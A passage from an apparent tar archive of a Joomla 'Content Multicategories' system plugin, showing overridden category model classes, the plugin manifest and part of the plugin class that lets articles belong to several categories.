 * This models supports retrieving a category, the articles associated with the category,
 * sibling, child and parent categories.
 *
 * @package     Joomla.Site
 * @subpackage  com_content
 * @since       1.5
 */
class ContentModelCategory extends JModelList
{
	/**
	 * Category items data
	 *
	 * @var array
	 */
	protected $_item = null;

	protected $_articles = null;

	protected $_siblings = null;

	protected $_children = null;

	protected $_parent = null;

	/**
	 * Model context string.
	 *
	 * @var		string
	 */
	protected $_context = 'com_content.category';

	/**
	 * The category that applies.
	 *
	 * @access	protected
	 * @var		object
	 */
	protected $_category = null;

	/**
	 * The list of other newfeed categories.
	 *
	 * @access	protected
	 * @var		array
	 */
	protected $_categories = null;

	/**
	 * Constructor.
	 *
	 * @param   array  An optional associative array of configuration settings.
	 * @see     JController
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'id', 'a.id',
				'title', 'a.title',
				'alias', 'a.alias',
				'checked_out', 'a.checked_out',
				'checked_out_time', 'a.checked_out_time',
				'catid', 'a.catid', 'category_title',
				'state', 'a.state',
				'access', 'a.access', 'access_level',
				'created', 'a.created',
				'created_by', 'a.created_by',
				'modified', 'a.modified',
				'ordering', 'a.ordering',
				'featured', 'a.featured',
				'language', 'a.language',
				'hits', 'a.hits',
				'publish_up', 'a.publish_up',
				'publish_down', 'a.publish_down',
				'author', 'a.author'
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * return	void
	 * @since   1.6
	 */
	protected function populateState($ordering = null, $direction = null)
	{
		$app = JFactory::getApplication('site');
		$pk  = $app->input->getInt('id');

		$this->setState('category.id', $pk);

		// Load the parameters. Merge Global and Menu Item params into new object
		$params = $app->getParams();
		$menuParams = new JRegistry;

		if ($menu = $app->getMenu()->getActive())
		{
			$menuParams->loadString($menu->params);
		}

		$mergedParams = clone $menuParams;
		$mergedParams->merge($params);

		$this->setState('params', $mergedParams);
		$user  = JFactory::getUser();

		// Create a new query object.
		$db    = $this->getDbo();
		$query = $db->getQuery(true);

		$asset = 'com_content';

		if ($pk)
		{
			$asset .= '.category.' . $pk;
		}

		if ((!$user->authorise('core.edit.state', $asset)) &&  (!$user->authorise('core.edit', $asset)))
		{
			// limit to published for people who can't edit or edit.state.
			$this->setState('filter.published', 1);

			// Filter by start and end dates.
			$nullDate = $db->quote($db->getNullDate());
			$nowDate = $db->quote(JFactory::getDate()->toSQL());

			$query->where('(a.publish_up = ' . $nullDate . ' OR a.publish_up <= ' . $nowDate . ')')
				->where('(a.publish_down = ' . $nullDate . ' OR a.publish_down >= ' . $nowDate . ')');
		}
		else
		{
			$this->setState('filter.published', array(0, 1, 2));
		}

		// process show_noauth parameter
		if (!$params->get('show_noauth'))
		{
			$this->setState('filter.access', true);
		}
		else
		{
			$this->setState('filter.access', false);
		}

		// Optional filter text
		$this->setState('list.filter', $app->input->getString('filter-search'));

		// filter.order
		$itemid = $app->input->get('id', 0, 'int') . ':' . $app->input->get('Itemid', 0, 'int');
		$orderCol = $app->getUserStateFromRequest('com_content.category.list.' . $itemid . '.filter_order', 'filter_order', '', 'string');
		if (!in_array($orderCol, $this->filter_fields))
		{
			$orderCol = 'a.ordering';
		}
		$this->setState('list.ordering', $orderCol);

		$listOrder = $app->getUserStateFromRequest('com_content.category.list.' . $itemid . '.filter_order_Dir',
			'filter_order_Dir', '', 'cmd');
		if (!in_array(strtoupper($listOrder), array('ASC', 'DESC', '')))
		{
			$listOrder = 'ASC';
		}
		$this->setState('list.direction', $listOrder);

		$this->setState('list.start', $app->input->get('limitstart', 0, 'uint'));

		// set limit for query. If list, use parameter. If blog, add blog parameters for limit.
		if (($app->input->get('layout') == 'blog') || $params->get('layout_type') == 'blog')
		{
			$limit = $params->get('num_leading_articles') + $params->get('num_intro_articles') + $params->get('num_links');
			$this->setState('list.links', $params->get('num_links'));
		}
		else
		{
			$limit = $app->getUserStateFromRequest('com_content.category.list.' . $itemid . '.limit', 'limit', $params->get('display_num'), 'uint');
		}

		$this->setState('list.limit', $limit);

		// set the depth of the category query based on parameter
		$showSubcategories = $params->get('show_subcategory_content', '0');

		if ($showSubcategories)
		{
			$this->setState('filter.max_category_levels', $params->get('show_subcategory_content', '1'));
			$this->setState('filter.subcategories', true);
		}

		$this->setState('filter.language', JLanguageMultilang::isEnabled());

		$this->setState('layout', $app->input->getString('layout'));

	}

	/**
	 * Get the articles in the category
	 *
	 * @return  mixed  An array of articles or false if an error occurs.
	 * @since   1.5
	 */
	function getItems()
	{
		$limit = $this->getState('list.limit');

		if ($this->_articles === null && $category = $this->getCategory())
		{
			$model = JModelLegacy::getInstance('Articles', 'ContentModel', array('ignore_request' => true));
			$model->setState('params', JFactory::getApplication()->getParams());
			$model->setState('filter.category_id', $category->id);
			$model->setState('filter.published', $this->getState('filter.published'));
			$model->setState('filter.access', $this->getState('filter.access'));
			$model->setState('filter.language', $this->getState('filter.language'));
			$model->setState('list.ordering', $this->_buildContentOrderBy());
			$model->setState('list.start', $this->getState('list.start'));
			$model->setState('list.limit', $limit);
			$model->setState('list.direction', $this->getState('list.direction'));
			$model->setState('list.filter', $this->getState('list.filter'));
			// filter.subcategories indicates whether to include articles from subcategories in the list or blog
			$model->setState('filter.subcategories', $this->getState('filter.subcategories'));
			$model->setState('filter.max_category_levels', $this->getState('filter.max_category_levels'));
			$model->setState('list.links', $this->getState('list.links'));

            //Arkadiy hack
            $dispatcher = JEventDispatcher::getInstance();
            // Include the content plugins for the change of category state event.
            JPluginHelper::importPlugin('system');
            // Trigger the onCategoryChangeState event.
            $dispatcher->trigger('onGetContentItems', array(&$model));
            //end of Arkadiy hack

			if ($limit >= 0)
			{
				$this->_articles = $model->getItems();

				if ($this->_articles === false)
				{
					$this->setError($model->getError());
				}
			}
			else
			{
				$this->_articles = array();
			}

			$this->_pagination = $model->getPagination();
		}

		return $this->_articles;
	}

	/**
	 * Build the orderby for the query
	 *
	 * @return  string	$orderby portion of query
	 * @since   1.5
	 */
	protected function _buildContentOrderBy()
	{
		$app		= JFactory::getApplication('site');
		$db			= $this->getDbo();
		$params		= $this->state->params;
		$itemid		= $app->input->get('id', 0, 'int') . ':' . $app->input->get('Itemid', 0, 'int');
		$orderCol	= $app->getUserStateFromRequest('com_content.category.list.' . $itemid . '.filter_order', 'filter_order', '', 'string');
		$orderDirn	= $app->getUserStateFromRequest('com_content.category.list.' . $itemid . '.filter_order_Dir', 'filter_order_Dir', '', 'cmd');
		$orderby	= ' ';

		if (!in_array($orderCol, $this->filter_fields))
		{
			$orderCol = null;
		}

		if (!in_array(strtoupper($orderDirn), array('ASC', 'DESC', '')))
		{
			$orderDirn = 'ASC';
		}

		if ($orderCol && $orderDirn)
		{
			$orderby .= $db->escape($orderCol) . ' ' . $db->escape($orderDirn) . ', ';
		}

		$articleOrderby		= $params->get('orderby_sec', 'rdate');
		$articleOrderDate	= $params->get('order_date');
		$categoryOrderby	= $params->def('orderby_pri', '');
		$secondary			= ContentHelperQuery::orderbySecondary($articleOrderby, $articleOrderDate) . ', ';
		$primary			= ContentHelperQuery::orderbyPrimary($categoryOrderby);

		$orderby .= $primary . ' ' . $secondary . ' a.created ';

		return $orderby;
	}

	public function getPagination()
	{
		if (empty($this->_pagination))
		{
			return null;
		}
		return $this->_pagination;
	}

	/**
	 * Method to get category data for the current category
	 *
	 * @param   integer  An optional ID
	 *
	 * @return  object
	 * @since   1.5
	 */
	public function getCategory()
	{
		if (!is_object($this->_item))
		{
			if ( isset( $this->state->params ) )
			{
				$params = $this->state->params;
				$options = array();
				$options['countItems'] = $params->get('show_cat_num_articles', 1) || !$params->get('show_empty_categories_cat', 0);
			}
			else {
				$options['countItems'] = 0;
			}

			$categories = JCategories::getInstance('Content', $options);
			$this->_item = $categories->get($this->getState('category.id', 'root'));

			// Compute selected asset permissions.
			if (is_object($this->_item))
			{
				$user	= JFactory::getUser();
				$asset	= 'com_content.category.'.$this->_item->id;

				// Check general create permission.
				if ($user->authorise('core.create', $asset))
				{
					$this->_item->getParams()->set('access-create', true);
				}

				// TODO: Why aren't we lazy loading the children and siblings?
				$this->_children = $this->_item->getChildren();
				$this->_parent = false;

				if ($this->_item->getParent())
				{
					$this->_parent = $this->_item->getParent();
				}

				$this->_rightsibling = $this->_item->getSibling();
				$this->_leftsibling = $this->_item->getSibling(false);
			}
			else {
				$this->_children = false;
				$this->_parent = false;
			}
		}

		return $this->_item;
	}

	/**
	 * Get the parent category.
	 *
	 * @param   integer  An optional category id. If not supplied, the model state 'category.id' will be used.
	 *
	 * @return  mixed  An array of categories or false if an error occurs.
	 * @since   1.6
	 */
	public function getParent()
	{
		if (!is_object($this->_item))
		{
			$this->getCategory();
		}

		return $this->_parent;
	}

	/**
	 * Get the left sibling (adjacent) categories.
	 *
	 * @return  mixed  An array of categories or false if an error occurs.
	 * @since   1.6
	 */
	function &getLeftSibling()
	{
		if (!is_object($this->_item))
		{
			$this->getCategory();
		}

		return $this->_leftsibling;
	}

	/**
	 * Get the right sibling (adjacent) categories.
	 *
	 * @return  mixed  An array of categories or false if an error occurs.
	 * @since   1.6
	 */
	function &getRightSibling()
	{
		if (!is_object($this->_item))
		{
			$this->getCategory();
		}

		return $this->_rightsibling;
	}

	/**
	 * Get the child categories.
	 *
	 * @param   integer  An optional category id. If not supplied, the model state 'category.id' will be used.
	 *
	 * @return  mixed  An array of categories or false if an error occurs.
	 * @since   1.6
	 */
	function &getChildren()
	{
		if (!is_object($this->_item))
		{
			$this->getCategory();
		}

		// Order subcategories
		if (count($this->_children))
		{
			$params = $this->getState()->get('params');
			if ($params->get('orderby_pri') == 'alpha' || $params->get('orderby_pri') == 'ralpha')
			{
				jimport('joomla.utilities.arrayhelper');
				JArrayHelper::sortObjects($this->_children, 'title', ($params->get('orderby_pri') == 'alpha') ? 1 : -1);
			}
		}

		return $this->_children;
	}

	/**
	 * Increment the hit counter for the category.
	 *
	 * @param   int  $pk  Optional primary key of the category to increment.
	 *
	 * @return  boolean True if successful; false otherwise and internal error set.
	 */
	public function hit($pk = 0)
	{
		$input = JFactory::getApplication()->input;
		$hitcount = $input->getInt('hitcount', 1);

		if ($hitcount)
		{
			$pk = (!empty($pk)) ? $pk : (int) $this->getState('category.id');

			$table = JTable::getInstance('Category', 'JTable');
			$table->load($pk);
			$table->hit($pk);
		}

		return true;
	}
}
                  system/contentmulticategories/classes/category35.php                                                0000705                 00000030420 15242051521 0017010 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

/**
 * This models supports retrieving a category, the articles associated with the category,
 * sibling, child and parent categories.
 *
 * @since  1.5
 */
class ContentModelCategory extends JModelList
{
	/**
	 * Category items data
	 *
	 * @var array
	 */
	protected $_item = null;

	protected $_articles = null;

	protected $_siblings = null;

	protected $_children = null;

	protected $_parent = null;

	/**
	 * Model context string.
	 *
	 * @var		string
	 */
	protected $_context = 'com_content.category';

	/**
	 * The category that applies.
	 *
	 * @access	protected
	 * @var		object
	 */
	protected $_category = null;

	/**
	 * The list of other newfeed categories.
	 *
	 * @access	protected
	 * @var		array
	 */
	protected $_categories = null;

	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'id', 'a.id',
				'title', 'a.title',
				'alias', 'a.alias',
				'checked_out', 'a.checked_out',
				'checked_out_time', 'a.checked_out_time',
				'catid', 'a.catid', 'category_title',
				'state', 'a.state',
				'access', 'a.access', 'access_level',
				'created', 'a.created',
				'created_by', 'a.created_by',
				'modified', 'a.modified',
				'ordering', 'a.ordering',
				'featured', 'a.featured',
				'language', 'a.language',
				'hits', 'a.hits',
				'publish_up', 'a.publish_up',
				'publish_down', 'a.publish_down',
				'author', 'a.author'
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   The field to order on.
	 * @param   string  $direction  The direction to order on.
	 *
	 * @return  void.
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = null, $direction = null)
	{
		$app = JFactory::getApplication('site');
		$pk  = $app->input->getInt('id');

		$this->setState('category.id', $pk);

		// Load the parameters. Merge Global and Menu Item params into new object
		$params = $app->getParams();
		$menuParams = new Registry;

		if ($menu = $app->getMenu()->getActive())
		{
			$menuParams->loadString($menu->params);
		}

		$mergedParams = clone $menuParams;
		$mergedParams->merge($params);

		$this->setState('params', $mergedParams);
		$user  = JFactory::getUser();

		$asset = 'com_content';

		if ($pk)
		{
			$asset .= '.category.' . $pk;
		}

		if ((!$user->authorise('core.edit.state', $asset)) &&  (!$user->authorise('core.edit', $asset)))
		{
			// Limit to published for people who can't edit or edit.state.
			$this->setState('filter.published', 1);
		}
		else
		{
			$this->setState('filter.published', array(0, 1, 2));
		}

		// Process show_noauth parameter
		if (!$params->get('show_noauth'))
		{
			$this->setState('filter.access', true);
		}
		else
		{
			$this->setState('filter.access', false);
		}

		// Optional filter text
		$this->setState('list.filter', $app->input->getString('filter-search'));

		// Filter.order
		$itemid = $app->input->get('id', 0, 'int') . ':' . $app->input->get('Itemid', 0, 'int');
		$orderCol = $app->getUserStateFromRequest('com_content.category.list.' . $itemid . '.filter_order', 'filter_order', '', 'string');

		if (!in_array($orderCol, $this->filter_fields))
		{
			$orderCol = 'a.ordering';
		}

		$this->setState('list.ordering', $orderCol);

		$listOrder = $app->getUserStateFromRequest('com_content.category.list.' . $itemid . '.filter_order_Dir', 'filter_order_Dir', '', 'cmd');

		if (!in_array(strtoupper($listOrder), array('ASC', 'DESC', '')))
		{
			$listOrder = 'ASC';
		}

		$this->setState('list.direction', $listOrder);

		$this->setState('list.start', $app->input->get('limitstart', 0, 'uint'));

		// Set limit for query. If list, use parameter. If blog, add blog parameters for limit.
		if (($app->input->get('layout') == 'blog') || $params->get('layout_type') == 'blog')
		{
			$limit = $params->get('num_leading_articles') + $params->get('num_intro_articles') + $params->get('num_links');
			$this->setState('list.links', $params->get('num_links'));
		}
		else
		{
			$limit = $app->getUserStateFromRequest('com_content.category.list.' . $itemid . '.limit', 'limit', $params->get('display_num'), 'uint');
		}

		$this->setState('list.limit', $limit);

		// Set the depth of the category query based on parameter
		$showSubcategories = $params->get('show_subcategory_content', '0');

		if ($showSubcategories)
		{
			$this->setState('filter.max_category_levels', $params->get('show_subcategory_content', '1'));
			$this->setState('filter.subcategories', true);
		}

		$this->setState('filter.language', JLanguageMultilang::isEnabled());

		$this->setState('layout', $app->input->getString('layout'));

		// Set the featured articles state
		$this->setState('filter.featured', $params->get('show_featured'));
	}

	/**
	 * Get the articles in the category
	 *
	 * @return  mixed  An array of articles or false if an error occurs.
	 *
	 * @since   1.5
	 */
	public function getItems()
	{
		$limit = $this->getState('list.limit');

		if ($this->_articles === null && $category = $this->getCategory())
		{
			$model = JModelLegacy::getInstance('Articles', 'ContentModel', array('ignore_request' => true));
			$model->setState('params', JFactory::getApplication()->getParams());
			$model->setState('filter.category_id', $category->id);
			$model->setState('filter.published', $this->getState('filter.published'));
			$model->setState('filter.access', $this->getState('filter.access'));
			$model->setState('filter.language', $this->getState('filter.language'));
			$model->setState('filter.featured', $this->getState('filter.featured'));
			$model->setState('list.ordering', $this->_buildContentOrderBy());
			$model->setState('list.start', $this->getState('list.start'));
			$model->setState('list.limit', $limit);
			$model->setState('list.direction', $this->getState('list.direction'));
			$model->setState('list.filter', $this->getState('list.filter'));

			// Filter.subcategories indicates whether to include articles from subcategories in the list or blog
			$model->setState('filter.subcategories', $this->getState('filter.subcategories'));
			$model->setState('filter.max_category_levels', $this->getState('filter.max_category_levels'));
			$model->setState('list.links', $this->getState('list.links'));

			//Arkadiy hack
			$dispatcher = JEventDispatcher::getInstance();
			// Include the content plugins for the change of category state event.
			JPluginHelper::importPlugin('system');
			// Trigger the onCategoryChangeState event.
			$dispatcher->trigger('onGetContentItems', array(&$model));
			//end of Arkadiy hack

			if ($limit >= 0)
			{
				$this->_articles = $model->getItems();

				if ($this->_articles === false)
				{
					$this->setError($model->getError());
				}
			}
			else
			{
				$this->_articles = array();
			}

			$this->_pagination = $model->getPagination();
		}

		return $this->_articles;
	}

	/**
	 * Build the orderby for the query
	 *
	 * @return  string	$orderby portion of query
	 *
	 * @since   1.5
	 */
	protected function _buildContentOrderBy()
	{
		$app       = JFactory::getApplication('site');
		$db        = $this->getDbo();
		$params    = $this->state->params;
		$itemid    = $app->input->get('id', 0, 'int') . ':' . $app->input->get('Itemid', 0, 'int');
		$orderCol  = $app->getUserStateFromRequest('com_content.category.list.' . $itemid . '.filter_order', 'filter_order', '', 'string');
		$orderDirn = $app->getUserStateFromRequest('com_content.category.list.' . $itemid . '.filter_order_Dir', 'filter_order_Dir', '', 'cmd');
		$orderby   = ' ';

		if (!in_array($orderCol, $this->filter_fields))
		{
			$orderCol = null;
		}

		if (!in_array(strtoupper($orderDirn), array('ASC', 'DESC', '')))
		{
			$orderDirn = 'ASC';
		}

		if ($orderCol && $orderDirn)
		{
			$orderby .= $db->escape($orderCol) . ' ' . $db->escape($orderDirn) . ', ';
		}

		$articleOrderby   = $params->get('orderby_sec', 'rdate');
		$articleOrderDate = $params->get('order_date');
		$categoryOrderby  = $params->def('orderby_pri', '');
		$secondary        = ContentHelperQuery::orderbySecondary($articleOrderby, $articleOrderDate) . ', ';
		$primary          = ContentHelperQuery::orderbyPrimary($categoryOrderby);

		$orderby .= $primary . ' ' . $secondary . ' a.created ';

		return $orderby;
	}

	/**
	 * Method to get a JPagination object for the data set.
	 *
	 * @return  JPagination  A JPagination object for the data set.
	 *
	 * @since   12.2
	 */
	public function getPagination()
	{
		if (empty($this->_pagination))
		{
			return null;
		}

		return $this->_pagination;
	}

	/**
	 * Method to get category data for the current category
	 *
	 * @return  object
	 *
	 * @since   1.5
	 */
	public function getCategory()
	{
		if (!is_object($this->_item))
		{
			if (isset( $this->state->params))
			{
				$params = $this->state->params;
				$options = array();
				$options['countItems'] = $params->get('show_cat_num_articles', 1) || !$params->get('show_empty_categories_cat', 0);
			}
			else
			{
				$options['countItems'] = 0;
			}

			$categories = JCategories::getInstance('Content', $options);
			$this->_item = $categories->get($this->getState('category.id', 'root'));

			// Compute selected asset permissions.
			if (is_object($this->_item))
			{
				$user  = JFactory::getUser();
				$asset = 'com_content.category.' . $this->_item->id;

				// Check general create permission.
				if ($user->authorise('core.create', $asset))
				{
					$this->_item->getParams()->set('access-create', true);
				}

				// TODO: Why aren't we lazy loading the children and siblings?
				$this->_children = $this->_item->getChildren();
				$this->_parent = false;

				if ($this->_item->getParent())
				{
					$this->_parent = $this->_item->getParent();
				}

				$this->_rightsibling = $this->_item->getSibling();
				$this->_leftsibling = $this->_item->getSibling(false);
			}
			else
			{
				$this->_children = false;
				$this->_parent = false;
			}
		}

		return $this->_item;
	}

	/**
	 * Get the parent category.
	 *
	 * @return  mixed  An array of categories or false if an error occurs.
	 *
	 * @since   1.6
	 */
	public function getParent()
	{
		if (!is_object($this->_item))
		{
			$this->getCategory();
		}

		return $this->_parent;
	}

	/**
	 * Get the left sibling (adjacent) categories.
	 *
	 * @return  mixed  An array of categories or false if an error occurs.
	 *
	 * @since   1.6
	 */
	public function &getLeftSibling()
	{
		if (!is_object($this->_item))
		{
			$this->getCategory();
		}

		return $this->_leftsibling;
	}

	/**
	 * Get the right sibling (adjacent) categories.
	 *
	 * @return  mixed  An array of categories or false if an error occurs.
	 *
	 * @since   1.6
	 */
	public function &getRightSibling()
	{
		if (!is_object($this->_item))
		{
			$this->getCategory();
		}

		return $this->_rightsibling;
	}

	/**
	 * Get the child categories.
	 *
	 * @return  mixed  An array of categories or false if an error occurs.
	 *
	 * @since   1.6
	 */
	public function &getChildren()
	{
		if (!is_object($this->_item))
		{
			$this->getCategory();
		}

		// Order subcategories
		if (count($this->_children))
		{
			$params = $this->getState()->get('params');

			if ($params->get('orderby_pri') == 'alpha' || $params->get('orderby_pri') == 'ralpha')
			{
				jimport('joomla.utilities.arrayhelper');
				JArrayHelper::sortObjects($this->_children, 'title', ($params->get('orderby_pri') == 'alpha') ? 1 : (-1));
			}
		}

		return $this->_children;
	}

	/**
	 * Increment the hit counter for the category.
	 *
	 * @param   int  $pk  Optional primary key of the category to increment.
	 *
	 * @return  boolean True if successful; false otherwise and internal error set.
	 */
	public function hit($pk = 0)
	{
		$input = JFactory::getApplication()->input;
		$hitcount = $input->getInt('hitcount', 1);

		if ($hitcount)
		{
			$pk = (!empty($pk)) ? $pk : (int) $this->getState('category.id');

			$table = JTable::getInstance('Category', 'JTable');
			$table->load($pk);
			$table->hit($pk);
		}

		return true;
	}
}
                                                                                                                                                                                                                                                system/contentmulticategories/contentmulticategories.xml                                            0000705                 00000005410 15242051521 0020173 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="2.5" type="plugin" group="system" method="upgrade">
    <name>System - Content Multicategories</name>
    <author>Arkadiy</author>
    <creationDate>21.09.2016</creationDate>
    <copyright>(C) 2010-2016 by Arkadiy Sedelnikov</copyright>
    <license>GNU/GPL: http://www.gnu.org/copyleft/gpl.html</license>
    <authorEmail>a.sedelnikov@gmail.com</authorEmail>
    <authorUrl>http://argens.ru</authorUrl>
    <version>1.1</version>
    <description>Add multicategories to com_content</description>
    <files>
        <folder>classes</folder>
        <folder>language</folder>
        <folder>sql</folder>
        <filename plugin="contentmulticategories">contentmulticategories.php</filename>
		<filename>index.html</filename>
    </files>
    <languages folder="language">
        <language tag="en-GB">en-GB/en-GB.plg_system_contentmulticategories.ini</language>
        <language tag="ru-RU">ru-RU/ru-RU.plg_system_contentmulticategories.ini</language>
    </languages>
    <install>
        <sql>
            <file charset="utf8" driver="mysql">sql/install.sql</file>
        </sql>
    </install>
    <uninstall>
        <sql>
            <file charset="utf8" driver="mysql">sql/uninstall.sql</file>
        </sql>
    </uninstall>
    <update>
        <schemas>
            <schemapath type="mysql">sql/updates/mysql</schemapath>
        </schemas>
    </update>
    <config>
        <fields name="params">
            <fieldset name="basic">
                <field
                        name="target"
                        type="list"
                        default="default"
                        label="PLG_CMC_VARIANT"
                        description="PLG_CMC_VARIANT_DESC"
                >
                    <option value="default">PLG_CMC_VARIANT_DEFAULT_CAT</option>
                    <option value="current">PLG_CMC_VARIANT_CURRENT_CAT</option>
                </field>
                <field
                        name="lang_filter"
                        type="list"
                        default="0"
                        label="PLG_CMC_LANG_FILTER"
                        description="PLG_CMC_LANG_FILTER_DESC"
                >
                    <option value="0">JNO</option>
                    <option value="1">JYES</option>
                </field>
                <field
                        name="acl_filter"
                        type="list"
                        default="0"
                        label="PLG_CMC_ACL_FILTER"
                        description="PLG_CMC_ACL_FILTER_DESC"
                >
                    <option value="0">JNO</option>
                    <option value="1">JYES</option>
                </field>
            </fieldset>
        </fields>
    </config>
</extension>
                                                                                                                                                                                                                                                        system/contentmulticategories/contentmulticategories.php                                            0000705                 00000035556 15242051521 0020200 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * contentmulticategories
 *
 * @version 1.0
 * @author Arkadiy (a.sedelnikov@gmail.com)
 * @copyright (C) 2016 Arkadiy (a.sedelnikov@gmail.com)
 * @license GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 **/

// no direct access
defined('_JEXEC') or die;


class plgSystemContentmulticategories extends JPlugin
{
    private $isAdmin, $app, $input;
    private static $items = array();

    public function __construct(& $subject, $config)
    {
        parent::__construct($subject, $config);
        $this->loadLanguage('plg_system_contentmulticategories', __DIR__);
        $this->isAdmin = JFactory::getApplication()->isAdmin();
        $this->app = JFactory::getApplication();
        $this->input = $this->app->input;
    }

    /** Форма в редактировании контента
     * @param $context
     * @param $data
     * @return bool
     */
    function onContentPrepareData($context, $data)
    {
        if(!is_object($data) && !is_array($data)){
            return true;
        }

        $layout = $this->input->getCmd('layout', '');

        if (!($context == 'com_content.article' && $layout == 'edit'))
        {
            return true;
        }

        $articleId = 0;

        if(is_object($data) && !empty($data->id))
        {
            $articleId = (int)$data->id;
        }
        else if(is_array($data) && !empty($data["id"]))
        {
            $articleId = (int)$data["id"];
        }
        $langFilter = $this->params->get('lang_filter', 0);
        $aclFilter = $this->params->get('acl_filter', 0);
        $selectedCats = $this->getSelectedMultiCats($articleId);
        if(!$langFilter && !$aclFilter){
            $options = JHtml::_('category.categories', 'com_content', array('filter.published' => 1));
        }
        else{
            $conf = array('filter.published' => 1);
            if($langFilter){
                $conf['filter.language'] = JFactory::getLanguage()->getTag();
            }

            if($aclFilter){
                $conf['filter.acl'] = 1;
            }

            $options = $this->options($conf);
        }

        $html = '
        <div class="tab-pane" id="contentmulticategories">
            <div class="control-group">
                <label for="contentmulticategories_multi_categories" class="control-label" title="" >'.JText::_('JSELECT').'</label>
                <div class="controls">
                    <select name="contentmulticategories[categories][]" id="contentmulticategories_multi_categories" multiple="multiple" size="10">
                            '.JHtml::_('select.options', $options, 'value', 'text', $selectedCats).'
			        </select>
                </div>
            </div>
        </div>
		';

        echo $html;
        return true;
    }

    private function options($config = array('filter.published' => array(0, 1)))
    {
        $hash = md5(serialize($config));

        if (!isset(static::$items[$hash]))
        {
            $config = (array) $config;
            $db = JFactory::getDbo();
            $query = $db->getQuery(true)
                ->select('a.id, a.title, a.level')
                ->from('#__categories AS a')
                ->where('a.parent_id > 0');

            // Filter on extension.
            $query->where('extension = ' . $db->quote('com_content'));

            // Filter on the published state
            if (isset($config['filter.published']))
            {
                if (is_numeric($config['filter.published']))
                {
                    $query->where('a.published = ' . (int) $config['filter.published']);
                }
                elseif (is_array($config['filter.published']))
                {
                    $config['filter.published'] = ArrayHelper::toInteger($config['filter.published']);
                    $query->where('a.published IN (' . implode(',', $config['filter.published']) . ')');
                }
            }

            // Filter on the language
            if (isset($config['filter.language']))
            {
                if (is_string($config['filter.language']))
                {
                    $query->where('a.language = ' . $db->quote($config['filter.language']));
                }
                elseif (is_array($config['filter.language']))
                {
                    foreach ($config['filter.language'] as &$language)
                    {
                        $language = $db->quote($language);
                    }

                    $query->where('a.language IN (' . implode(',', $config['filter.language']) . ')');
                }
            }

            $query->order('a.lft');

            $db->setQuery($query);
            $items = $db->loadObjectList();

            $userRights = array();
            if(!empty($config['filter.acl'])){
                $userRights = JFactory::getUser()->getAuthorisedCategories('com_content', 'core.create');
            }

            // Assemble the list options.
            static::$items[$hash] = array();

            foreach ($items as &$item)
            {
                $repeat = ($item->level - 1 >= 0) ? $item->level - 1 : 0;
                $item->title = str_repeat('- ', $repeat) . $item->title;
                $disabled = (!empty($config['filter.acl']) && !in_array($item->id, $userRights)) ? true : false;
                static::$items[$hash][] = JHtml::_('select.option', $item->id, $item->title, 'value', 'text', $disabled);
            }
        }

        return static::$items[$hash];
    }

    /** Действия с табами в редактировании контента
     * @return
     */
    public function onBeforeRender()
    {
        $view = $this->input->getCmd('view', '');
        $option = $this->input->getCmd('option', '');
        $layout = $this->input->getCmd('layout', '');

        $isContent = $option == 'com_content' && ( ($this->isAdmin && $view == 'article') || (!$this->isAdmin && $view == 'form') ) && $layout === 'edit';


        if(!$isContent)
        {
            return;
        }

        $document = JFactory::getDocument();
        if($this->isAdmin)
        {
            $document->addScriptDeclaration('
                (function($){
                    $(document).ready(function(){
		            	var tab = $(\'<li class=""><a href="#contentmulticategories" data-toggle="tab">' . JText::_( 'PLG_CMC_VARIANT_MULTICATS' ) . '</a></li>\');
		            	$(\'#myTabTabs\').append(tab);

		            	if($(\'#myTabContent\').length)
		            	{
                            $(\'#contentmulticategories\').appendTo($(\'#myTabContent\'));
                        }
                        else if($(\'div.span10>div.tab-content\').length)
		            	{
                            $(\'#contentmulticategories\').appendTo($(\'div.span10>div.tab-content\'));
                        }
		            });
		        })(jQuery);
		    ');
        }
        else
        {
            $document->addScriptDeclaration('
                (function($){
                    $(document).ready(function(){
		            	var tab = $(\'<li class=""><a href="#contentmulticategories" data-toggle="tab">' . JText::_( 'PLG_CMC_VARIANT_MULTICATS' ) . '</a></li>\');
		            	$(\'ul.nav-tabs\').append(tab);
		            	$(\'#contentmulticategories\').appendTo($(\'div.tab-content\', \'#adminForm\'));
		            });
		        })(jQuery);
		    ');
        }

    }

    /** Сохранение данных
     * @param $context
     * @param $article
     * @param $isNew
     * @return bool
     * @throws Exception
     */
    public function onContentAfterSave($context, $article, $isNew)
    {
        if($context !== 'com_content.article' && $context !== 'com_content.form')
            return true;

        $articleId	= $article->id;

        $data = ( isset($_POST['contentmulticategories']) && is_array($_POST['contentmulticategories']) )
            ? $_POST['contentmulticategories'] : null;

        if ($articleId)
        {
            $multiCats = (!empty($data['categories'])) ? $data['categories'] : array();
            $this->saveMultiCats($multiCats, $articleId);
        }
        return true;
    }

    /** Действия при удалении контента
     * @param	string		The context of the content passed to the plugin (added in 1.6)
     * @param	object		A JTableContent object
     * @since   2.5
     */
    public function onContentAfterDelete($context, $article)
    {

        if ($context != 'com_content.article')
            return true;

        $articleId	= $article->id;

        if ($articleId)
        {
            $this->deleteMultiCats($articleId);
        }

        return true;
    }

    /** Добавление материалов с дополнительными категориями к основным.
     * @param $itemsModel
     * @throws Exception
     */
    public function onGetContentItems(&$itemsModel)
    {
        $view = $this->input->getString('view', '');
        $catid = $this->input->getInt('catid', 0);
        $id = $this->input->getInt('id', 0);

        if($view == 'category')
        {
            $catid = $id;
        }

